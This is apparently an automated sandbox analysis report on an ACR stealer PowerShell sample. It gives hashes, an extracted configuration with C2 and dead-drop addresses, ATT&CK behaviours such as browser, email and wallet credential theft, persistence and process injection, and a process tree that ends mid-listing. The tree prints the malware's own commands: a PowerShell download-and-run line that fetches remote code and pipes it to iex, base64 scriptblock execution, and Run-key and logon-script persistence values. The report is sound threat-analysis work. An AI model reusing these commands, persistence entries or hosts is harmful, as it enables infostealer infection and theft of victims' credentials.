acrstealer | 3c2d602ddfa3fb7fdc5aedc735a07cab7ee70a77e739070538d03dca17cd579d

Analysis

max time kernel
149s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 18:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
76f4346f-d81c-465f-9d7b-fa5089c9ea3b.ps1
Size 93KB
Sample261002-wyka2sff63
SHA256 3c2d602ddfa3fb7fdc5aedc735a07cab7ee70a77e739070538d03dca17cd579d
MD5 ee116e25d12d750979ea54b7527cf371
SHA1 fb9b2d7c05088bbde599efa521888c7cdac0de3f
SHA512 1e8aa7bd22ce38eae6bcc2a8a4aefb64ab4b472704b64b124a86639c90e67656b10f05f76db3d0ae6d25e2b4cc50e4a85177370d191e8aed2ac31bcc6fbf28b3
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdJ9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUn7u
TLSH
T1109322053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.4.3-alpha1

imap.quietfox.cc

Decoy

cloudflare.com

Attributes

ddrs
https://telegra.ph/Built-in-Types-08-01
guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd851-d0e2-7805-ae09-2dd1daa78960
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 1840 created 1272	1840	rundll32.exe	81
PID 1840 created 1272	1840	rundll32.exe	81
PID 1840 created 1272	1840	rundll32.exe	81

Badlisted process makes network request 15 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	1072	powershell.exe
8	1072	powershell.exe
9	1840	rundll32.exe
10	1840	rundll32.exe
11	1840	rundll32.exe
12	1840	rundll32.exe
14	1840	rundll32.exe
163	1840	rundll32.exe
164	1840	rundll32.exe
165	1840	rundll32.exe
166	1840	rundll32.exe
167	3180	powershell.exe
170	1840	rundll32.exe
172	1840	rundll32.exe
174	4720	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
2792	AutoIt3.exe
2520	AutoIt3.exe
6120	RegAsm.exe
1764	RegAsm.exe
5840	AutoIt3.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Environment\UserInitMprLogonScript = "\"C:\\Users\\Admin\\AppData\\Roaming\\dd57aea3fe86\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\dd57aea3fe86\\app.asar\""	powershell.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_C8B83F445449EA841D1C3529BE75EE52 = "\"C:\\Users\\Admin\\AppData\\Roaming\\dd57aea3fe86\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\dd57aea3fe86\\udsmbmc.node\""	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5684	PowerShell.exe
1072	powershell.exe
3180	powershell.exe
4720	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
8	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	PowerShell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2792 set thread context of 1764	2792	AutoIt3.exe	164
PID 2520 set thread context of 5840	2520	AutoIt3.exe	165

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AutoIt3.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3800	chrome.exe
4336	msedge.exe

Checks processor information in registry 2 TTPs 19 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-650287814-2715975232-1279715623-1000\{954B5E56-F946-48D4-A6AE-FD1AC3104FE3}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	rundll32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5684	PowerShell.exe
5684	PowerShell.exe
1072	powershell.exe
1072	powershell.exe
1072	powershell.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
1840	rundll32.exe
1840	rundll32.exe
1840	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
3380	msedge.exe
3380	msedge.exe
3380	msedge.exe
3380	msedge.exe

Suspicious use of AdjustPrivilegeToken 62 IoCs

description	pid	Process
Token: SeDebugPrivilege	5684	PowerShell.exe
Token: SeDebugPrivilege	1072	powershell.exe
Token: SeShutdownPrivilege	2640	chrome.exe
Token: SeCreatePagefilePrivilege	2640	chrome.exe
Token: SeShutdownPrivilege	2640	chrome.exe
Token: SeCreatePagefilePrivilege	2640	chrome.exe
Token: SeShutdownPrivilege	2640	chrome.exe
Token: SeCreatePagefilePrivilege	2640	chrome.exe
Token: SeShutdownPrivilege	2640	chrome.exe
Token: SeCreatePagefilePrivilege	2640	chrome.exe
Token: SeShutdownPrivilege	2640	chrome.exe
Token: SeCreatePagefilePrivilege	2640	chrome.exe
Token: SeShutdownPrivilege	2640	chrome.exe
Token: SeCreatePagefilePrivilege	2640	chrome.exe
Token: SeShutdownPrivilege	2640	chrome.exe
Token: SeCreatePagefilePrivilege	2640	chrome.exe
Token: SeShutdownPrivilege	2640	chrome.exe
Token: SeCreatePagefilePrivilege	2640	chrome.exe
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeIncreaseQuotaPrivilege	4720	powershell.exe
Token: SeSecurityPrivilege	4720	powershell.exe
Token: SeTakeOwnershipPrivilege	4720	powershell.exe
Token: SeLoadDriverPrivilege	4720	powershell.exe
Token: SeSystemProfilePrivilege	4720	powershell.exe
Token: SeSystemtimePrivilege	4720	powershell.exe
Token: SeProfSingleProcessPrivilege	4720	powershell.exe
Token: SeIncBasePriorityPrivilege	4720	powershell.exe
Token: SeCreatePagefilePrivilege	4720	powershell.exe
Token: SeBackupPrivilege	4720	powershell.exe
Token: SeRestorePrivilege	4720	powershell.exe
Token: SeShutdownPrivilege	4720	powershell.exe
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeSystemEnvironmentPrivilege	4720	powershell.exe
Token: SeRemoteShutdownPrivilege	4720	powershell.exe
Token: SeUndockPrivilege	4720	powershell.exe
Token: SeManageVolumePrivilege	4720	powershell.exe
Token: 33	4720	powershell.exe
Token: 34	4720	powershell.exe
Token: 35	4720	powershell.exe
Token: 36	4720	powershell.exe
Token: SeIncreaseQuotaPrivilege	4720	powershell.exe
Token: SeSecurityPrivilege	4720	powershell.exe
Token: SeTakeOwnershipPrivilege	4720	powershell.exe
Token: SeLoadDriverPrivilege	4720	powershell.exe
Token: SeSystemProfilePrivilege	4720	powershell.exe
Token: SeSystemtimePrivilege	4720	powershell.exe
Token: SeProfSingleProcessPrivilege	4720	powershell.exe
Token: SeIncBasePriorityPrivilege	4720	powershell.exe
Token: SeCreatePagefilePrivilege	4720	powershell.exe
Token: SeBackupPrivilege	4720	powershell.exe
Token: SeRestorePrivilege	4720	powershell.exe
Token: SeShutdownPrivilege	4720	powershell.exe
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeSystemEnvironmentPrivilege	4720	powershell.exe
Token: SeRemoteShutdownPrivilege	4720	powershell.exe
Token: SeUndockPrivilege	4720	powershell.exe
Token: SeManageVolumePrivilege	4720	powershell.exe
Token: 33	4720	powershell.exe
Token: 34	4720	powershell.exe
Token: 35	4720	powershell.exe
Token: 36	4720	powershell.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
2640	chrome.exe
3380	msedge.exe
4552	firefox.exe
2792	AutoIt3.exe
2792	AutoIt3.exe
2792	AutoIt3.exe
2520	AutoIt3.exe
2520	AutoIt3.exe
2520	AutoIt3.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
2792	AutoIt3.exe
2792	AutoIt3.exe
2792	AutoIt3.exe
2520	AutoIt3.exe
2520	AutoIt3.exe
2520	AutoIt3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5684 wrote to memory of 576	5684	PowerShell.exe	90
PID 576 wrote to memory of 1436	576	csc.exe	91
PID 5684 wrote to memory of 3488	5684	PowerShell.exe	92
PID 3488 wrote to memory of 3908	3488	csc.exe	93
PID 5684 wrote to memory of 1072	5684	PowerShell.exe	94
PID 1072 wrote to memory of 1840	1072	powershell.exe	96
PID 1072 wrote to memory of 1840	1072	powershell.exe	96
PID 1840 wrote to memory of 2640	1840	rundll32.exe	97
PID 2640 wrote to memory of 3128	2640	chrome.exe	98
PID 2640 wrote to memory of 3184	2640	chrome.exe	99
PID 2640 wrote to memory of 3800	2640	chrome.exe	100
PID 2640 wrote to memory of 3184	2640	chrome.exe	99
PID 2640 wrote to memory of 2428	2640	chrome.exe	102
PID 2640 wrote to memory of 2428	2640	chrome.exe	102
PID 2640 wrote to memory of 5024	2640	chrome.exe	103
PID 2640 wrote to memory of 5024	2640	chrome.exe	103
PID 2640 wrote to memory of 2656	2640	chrome.exe	104
PID 2640 wrote to memory of 2656	2640	chrome.exe	104
PID 2640 wrote to memory of 5556	2640	chrome.exe	105
PID 2640 wrote to memory of 5556	2640	chrome.exe	105
PID 2640 wrote to memory of 4984	2640	chrome.exe	106
PID 2640 wrote to memory of 4984	2640	chrome.exe	106
PID 2640 wrote to memory of 6092	2640	chrome.exe	107
PID 2640 wrote to memory of 3108	2640	chrome.exe	108
PID 2640 wrote to memory of 3108	2640	chrome.exe	108
PID 2640 wrote to memory of 2356	2640	chrome.exe	109
PID 2640 wrote to memory of 2356	2640	chrome.exe	109
PID 2640 wrote to memory of 5836	2640	chrome.exe	111
PID 2640 wrote to memory of 1756	2640	chrome.exe	112
PID 2640 wrote to memory of 5836	2640	chrome.exe	111
PID 2640 wrote to memory of 4360	2640	chrome.exe	113
PID 2640 wrote to memory of 1756	2640	chrome.exe	112
PID 2640 wrote to memory of 4360	2640	chrome.exe	113
PID 2640 wrote to memory of 2388	2640	chrome.exe	116
PID 2640 wrote to memory of 2388	2640	chrome.exe	116
PID 2640 wrote to memory of 2900	2640	chrome.exe	117
PID 2640 wrote to memory of 2900	2640	chrome.exe	117
PID 2640 wrote to memory of 3692	2640	chrome.exe	118
PID 2640 wrote to memory of 3952	2640	chrome.exe	119
PID 2640 wrote to memory of 1904	2640	chrome.exe	120
PID 2640 wrote to memory of 3692	2640	chrome.exe	118
PID 2640 wrote to memory of 3952	2640	chrome.exe	119
PID 2640 wrote to memory of 1904	2640	chrome.exe	120
PID 2640 wrote to memory of 4196	2640	chrome.exe	121
PID 2640 wrote to memory of 4196	2640	chrome.exe	121
PID 2640 wrote to memory of 4952	2640	chrome.exe	122
PID 2640 wrote to memory of 3740	2640	chrome.exe	123
PID 2640 wrote to memory of 4952	2640	chrome.exe	122
PID 2640 wrote to memory of 3740	2640	chrome.exe	123
PID 1840 wrote to memory of 3380	1840	rundll32.exe	125
PID 3380 wrote to memory of 1924	3380	msedge.exe	126
PID 3380 wrote to memory of 5472	3380	msedge.exe	128
PID 3380 wrote to memory of 4336	3380	msedge.exe	127
PID 3380 wrote to memory of 5472	3380	msedge.exe	128
PID 3380 wrote to memory of 5472	3380	msedge.exe	128
PID 3380 wrote to memory of 4088	3380	msedge.exe	129
PID 3380 wrote to memory of 4088	3380	msedge.exe	129
PID 3380 wrote to memory of 5616	3380	msedge.exe	131
PID 3380 wrote to memory of 4676	3380	msedge.exe	143
PID 3380 wrote to memory of 5616	3380	msedge.exe	131
PID 3380 wrote to memory of 5616	3380	msedge.exe	131
PID 3380 wrote to memory of 4676	3380	msedge.exe	143
PID 3380 wrote to memory of 4676	3380	msedge.exe	143
PID 3380 wrote to memory of 3252	3380	msedge.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:1272
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\76f4346f-d81c-465f-9d7b-fa5089c9ea3b.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5684
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4ndntmdd\4ndntmdd.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:576
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6160.tmp" "c:\Users\Admin\AppData\Local\Temp\4ndntmdd\CSCC7C983F5AF1048338B5A1EBF22520BE.TMP"
      4⤵
      PID:1436
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gxb2owvd\gxb2owvd.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3488
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES62D7.tmp" "c:\Users\Admin\AppData\Local\Temp\gxb2owvd\CSC3A3D8AD51AB34575B88366A67351ADE.TMP"
      4⤵
      PID:3908
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/dsteru3421/5c5d8d-0333-4cbe-b328-d84e0dd9d/refs/heads/main/71f93c0a-94ad-4763-bab8-ba459e8b3395 | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1072
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:1840
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=[Console]::In.ReadToEnd();$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b));& ([scriptblock]::Create($s))"
        5⤵
        Badlisted process makes network request
        Registers new Windows logon scripts automatically executed at logon.
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:3180
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5624
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=[Console]::In.ReadToEnd();$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b));& ([scriptblock]::Create($s))"
        5⤵
        Badlisted process makes network request
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:4720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0xc8,0x134,0x7ffe41c1c728,0x7ffe41c1c734,0x7ffe41c1c740
    3⤵
    PID:3128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,17884257380876913371,8662960454481698052,262144 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=1904 /prefetch:2
    3⤵
    PID:3184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1496,i,5976939541305654472,8923224332934399505,524288 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=2072 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2300,i,14383453221443095456,15309124340462990115,524288 --field-trial-handle=1908,i,14473816506402661682,1530053943860581650,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:13
    3⤵
    PID:2428
- - C:\Program Files\Google\Chrome\Application\chrome.exe
